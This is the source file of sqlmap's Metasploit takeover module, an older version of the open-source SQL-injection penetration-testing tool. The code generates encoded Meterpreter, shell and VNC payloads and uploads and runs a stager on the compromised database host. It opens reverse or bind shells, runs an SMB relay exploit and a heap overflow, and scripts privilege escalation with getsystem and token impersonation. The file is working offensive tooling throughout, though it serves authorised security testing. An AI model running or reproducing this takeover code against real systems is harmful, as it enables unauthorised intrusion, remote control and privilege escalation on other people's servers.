sqlmap/lib/takeover/metasploit.py

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
import stat
import sys
import time
from select import select
from subprocess import PIPE
from subprocess import Popen as execute
from lib.core.common import dataToStdout
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
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from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import pollProcess
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapDataException
from lib.core.exception import sqlmapFilePathException
from lib.core.subprocessng import blockingReadFromFD
from lib.core.subprocessng import blockingWriteToFD
from lib.core.subprocessng import setNonBlocking
from lib.request.connect import Connect as Request
from lib.takeover.upx import upx
class Metasploit:
"""
This class defines methods to call Metasploit for plugins.
"""
def __initVars(self):
self.connectionStr = None
self.lhostStr = None
self.rhostStr = None
self.portStr = None
self.payloadStr = None
self.encoderStr = None
self.payloadConnStr = None
self.resourceFile = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP()
self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
self.__msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
self.__msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
self.__msfPayloadsList = {
"windows": {
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1: ( "Meterpreter (default)", "windows/meterpreter" ),
2: ( "Shell", "windows/shell" ),
3: ( "VNC", "windows/vncinject" ),
},
"linux": {
1: ( "Shell", "linux/x86/shell" ),
}
}
self.__msfConnectionsList = {
"windows": {
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1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
},
"linux": {
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1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
}
}
self.__msfEncodersList = {
"windows": {
1: ( "No Encoder", "generic/none" ),
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
10: ( "Non-Upper Encoder", "x86/nonupper" ),
11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
}
}
self.__msfSMBPortsList = {
"windows": {
1: ( "139/TCP (default)", "139" ),
2: ( "445/TCP", "445" ),
}
}
self.__portData = {
"bind": "remote port number",
"reverse": "local port number",
}
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows":
opSys = "windows"
else:
opSys = "linux"
message = "which %s do you want to use?" % msg
if lst:
for num, data in lst[opSys].items():
description = data[0]
if num > maxValue:
maxValue = num
if "(default)" in description:
default = num
message += "\n[%d] %s" % (num, description)
else:
message += " [%d] " % default
choice = readInput(message, default="%d" % default)
if not choice:
if lst:
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choice = unicode(default)
else:
return default
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
return self.__skeletonSelection(msg, lst, maxValue, default)
elif int(choice) > maxValue or int(choice) < 1:
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
return self.__skeletonSelection(msg, lst, maxValue, default)
choice = int(choice)
if lst:
choice = lst[opSys][choice][1]
return choice
def __selectSMBPort(self):
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
def __selectEncoder(self, encode=True):
if isinstance(encode, basestring):
return encode
elif kb.os == "Windows" and encode:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
def __selectPayload(self):
if kb.os == "Windows" and conf.privEsc:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can be used to "
infoMsg += "escalate privileges, either via 'incognito' "
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infoMsg += "extension or via 'getsystem' command"
logger.info(infoMsg)
__payloadStr = "windows/meterpreter"
else:
__payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
if __payloadStr == "windows/vncinject":
choose = False
if kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, it is likely that the the VNC "
debugMsg += "injection will be successful"
logger.debug(debugMsg)
elif kb.dbms == "PostgreSQL":
choose = True
warnMsg = "by default PostgreSQL on Windows runs as "
warnMsg += "postgres user, it is unlikely that the VNC "
warnMsg += "injection will be successful"
logger.warn(warnMsg)
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
choose = True
warnMsg = "it is unlikely that the VNC injection will be "
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warnMsg += "successful because usually Microsoft SQL Server "
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg)
if choose:
message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n"
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message += "[2] Fall back to Meterpreter payload (default)\n"
message += "[3] Fall back to Shell payload"
while True:
choice = readInput(message, default="2")
if not choice or choice == "2":
__payloadStr = "windows/meterpreter"
break
elif choice == "3":
__payloadStr = "windows/shell"
break
elif choice == "1":
if kb.dbms == "PostgreSQL":
logger.warn("beware that the VNC injection might not work")
break
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
break
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 2:
logger.warn("invalid value, it must be 1 or 2")
return __payloadStr
def __selectPort(self):
for connType, connStr in self.__portData.items():
if self.connectionStr.startswith(connType):
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
def __selectRhost(self):
if self.connectionStr.startswith("bind"):
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
if not address:
address = self.remoteIP
return address
elif self.connectionStr.startswith("reverse"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectLhost(self):
if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
message = "which is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
if not address:
address = self.localIP
return address
elif self.connectionStr.startswith("bind"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
def __prepareIngredients(self, encode=True):
self.connectionStr = self.__selectConnection()
self.lhostStr = self.__selectLhost()
self.rhostStr = self.__selectRhost()
self.portStr = self.__selectPort()
self.payloadStr = self.__selectPayload()
self.encoderStr = self.__selectEncoder(encode)
if self.payloadStr == "linux/x86/shell":
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
else:
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc
self.__cliCmd += " LPORT=%s" % self.portStr
if self.payloadStr == "windows/vncinject":
self.__cliCmd += " DisableCourtesyShell=1"
if self.connectionStr.startswith("bind"):
self.__cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__cliCmd += " LHOST=%s" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__cliCmd += " E"
def __forgeMsfConsoleCmd(self):
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
def __forgeMsfConsoleResource(self):
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
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self.__prepareIngredients(encode=False)
self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.lhostStr
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
self.__resource += "set LPORT %s\n" % self.portStr
if self.connectionStr.startswith("bind"):
self.__resource += "set RHOST %s\n" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__resource += "set LHOST %s\n" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__resource += "exploit\n"
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self.resourceFp = open(self.resourceFile, "w")
self.resourceFp.write(self.__resource)
self.resourceFp.close()
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def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr
if self.connectionStr.startswith("reverse"):
self.__payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type"
if kb.os == "Windows" or extra == "BufferRegister=EAX":
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self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
if extra is not None:
self.__payloadCmd += " %s" % extra
else:
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self.__payloadCmd += " X > %s" % outFile
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def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc)
infoMsg = "running Metasploit Framework 3 command line "
infoMsg += "interface locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfConsole(self):
infoMsg = "running Metasploit Framework 3 console locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfShellcodeRemote(self):
infoMsg = "running Metasploit Framework 3 shellcode "
infoMsg += "remotely via UDF 'sys_bineval', wait.."
logger.info(infoMsg)
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
def __runMsfPayloadRemote(self):
infoMsg = "running Metasploit Framework 3 payload stager "
infoMsg += "remotely, wait.."
logger.info(infoMsg)
if kb.os != "Windows":
self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)
cmd = "%s &" % self.exeFilePathRemote
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if kb.dbms == "Microsoft SQL Server" and (kb.stackedTest or conf.direct):
cmd = self.xpCmdshellForgeCmd(cmd)
self.execCmd(cmd, silent=True)
def __loadMetExtensions(self, proc, metSess):
if kb.os != "Windows":
return
if self.resourceFile is not None:
proc.stdin.write("sessions -l\n")
proc.stdin.write("sessions -i %s\n" % metSess)
proc.stdin.write("use espia\n")
proc.stdin.write("use incognito\n")
proc.stdin.write("use priv\n")
proc.stdin.write("use sniffer\n")
proc.stdin.write("sysinfo\n")
proc.stdin.write("getuid\n")
if conf.privEsc:
print
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infoMsg = "trying to escalate privileges using Meterpreter "
infoMsg += "'getsystem' command which tries different "
infoMsg += "techniques, including kitrap0d"
logger.info(infoMsg)
proc.stdin.write("getsystem\n")
infoMsg = "displaying the list of Access Tokens availables. "
infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token' if "
infoMsg += "'getsystem' does not success to elevate privileges"
logger.info(infoMsg)
proc.stdin.write("list_tokens -u\n")
proc.stdin.write("getuid\n")
def __controlMsfCmd(self, proc, func):
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
proc_out_fd = proc.stdout.fileno()
setNonBlocking(proc_out_fd)
while True:
returncode = proc.poll()
if returncode is None:
# Child hasn't exited yet
pass
else:
logger.debug("connection closed properly")
return returncode
try:
ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)
if stdin_fd in ready_fds[0]:
try:
proc.stdin.write(blockingReadFromFD(stdin_fd))
except IOError:
# Probably the child has exited
pass
if proc_out_fd in ready_fds[0]:
out = blockingReadFromFD(proc_out_fd)
blockingWriteToFD(sys.stdout.fileno(), out)
# For --os-pwn and --os-bof
pwnBofCond = self.connectionStr.startswith("reverse")
pwnBofCond &= "Starting the payload handler" in out
# For --os-smbrelay
smbRelayCond = "Server started" in out
if pwnBofCond or smbRelayCond:
func()
if "Starting the payload handler" in out and "shell" in self.payloadStr:
if kb.os == "Windows":
proc.stdin.write("whoami\n")
else:
proc.stdin.write("uname -a ; id\n")
metSess = re.search("Meterpreter session ([\d]+) opened", out)
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if metSess:
self.__loadMetExtensions(proc, metSess.group(1))
except EOFError:
returncode = proc.wait()
return returncode
def createMsfShellcode(self, exitfunc, format, extra, encode):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
self.__initVars()
self.__prepareIngredients(encode=encode)
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
logger.debug("executing local command: %s" % self.__payloadCmd)
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process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows" or extra == "BufferRegister=EAX":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
if payloadSize:
payloadSize = int(payloadSize.group(1))
if extra == "BufferRegister=EAX":
payloadSize = payloadSize / 2
debugMsg = "the shellcode size is %d bytes" % payloadSize
logger.debug(debugMsg)
else:
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
raise sqlmapFilePathException, errMsg
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self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
self.shellcodeString = self.__shellcodeFP.read()
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self.__shellcodeFP.close()
os.unlink(self.__shellcodeFilePath)
def createMsfPayloadStager(self, initialize=True):
if initialize:
infoMsg = ""
else:
infoMsg = "re"
infoMsg += "creating Metasploit Framework 3 payload stager"
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
if kb.os == "Windows":
self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s.exe" % self.__randStr)
# Metasploit developers added support for the old exe format
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
# This is useful for sqlmap because on PostgreSQL it is not
# possible to write files bigger than 8192 bytes abusing the
# lo_export() feature implemented in sqlmap.
if kb.dbms == "PostgreSQL":
self.__fileFormat = "exe-small"
else:
self.__fileFormat = "exe"
else:
self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
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self.__fileFormat = "elf"
if initialize:
self.__initVars()
if self.payloadStr is None:
self.__prepareIngredients()
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self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
logger.debug("executing local command: %s" % self.__payloadCmd)
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process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
if payloadSize:
payloadSize = payloadSize.group(1)
exeSize = os.path.getsize(self.exeFilePathLocal)
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# Only pack the payload stager if the back-end DBMS operating
# system is Windows and new portable executable template is
# used
if self.__fileFormat == "exe":
packedSize = upx.pack(self.exeFilePathLocal)
else:
packedSize = None
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
if packedSize and packedSize < exeSize:
debugMsg += "as a compressed portable executable its size "
debugMsg += "is %d bytes, decompressed it " % packedSize
debugMsg += "was %s bytes large" % exeSize
else:
debugMsg += "as a portable executable its size is "
debugMsg += "%s bytes" % exeSize
logger.debug(debugMsg)
else:
errMsg = "failed to create the payload stager (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
def uploadMsfPayloadStager(self, web=False):
if web:
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self.exeFilePathRemote = "%s/%s" % (self.webDirectory, os.path.basename(self.exeFilePathLocal))
else:
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
self.exeFilePathRemote = ntToPosixSlashes(normalizePath(self.exeFilePathRemote))
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logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
if web:
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self.webFileUpload(self.exeFilePathLocal, self.exeFilePathRemote, self.webDirectory)
else:
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
os.unlink(self.exeFilePathLocal)
def pwn(self, goUdf=False):
if goUdf:
exitfunc = "thread"
func = self.__runMsfShellcodeRemote
else:
exitfunc = "process"
func = self.__runMsfPayloadRemote
self.__runMsfCli(exitfunc=exitfunc)
if self.connectionStr.startswith("bind"):
func()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
logger.debug(debugMsg)
if not goUdf:
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
def smb(self):
self.__initVars()
self.__randFile = "tmpu%s.txt" % randomStr(lowercase=True)
self.__forgeMsfConsoleResource()
self.__forgeMsfConsoleCmd()
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
self.__runMsfConsole()
debugMsg = "Metasploit Framework 3 console exited with return "
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
logger.debug(debugMsg)
os.unlink(self.resourceFile)
def bof(self):
self.__runMsfCli(exitfunc="seh")
if self.connectionStr.startswith("bind"):
self.spHeapOverflow()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
logger.debug(debugMsg)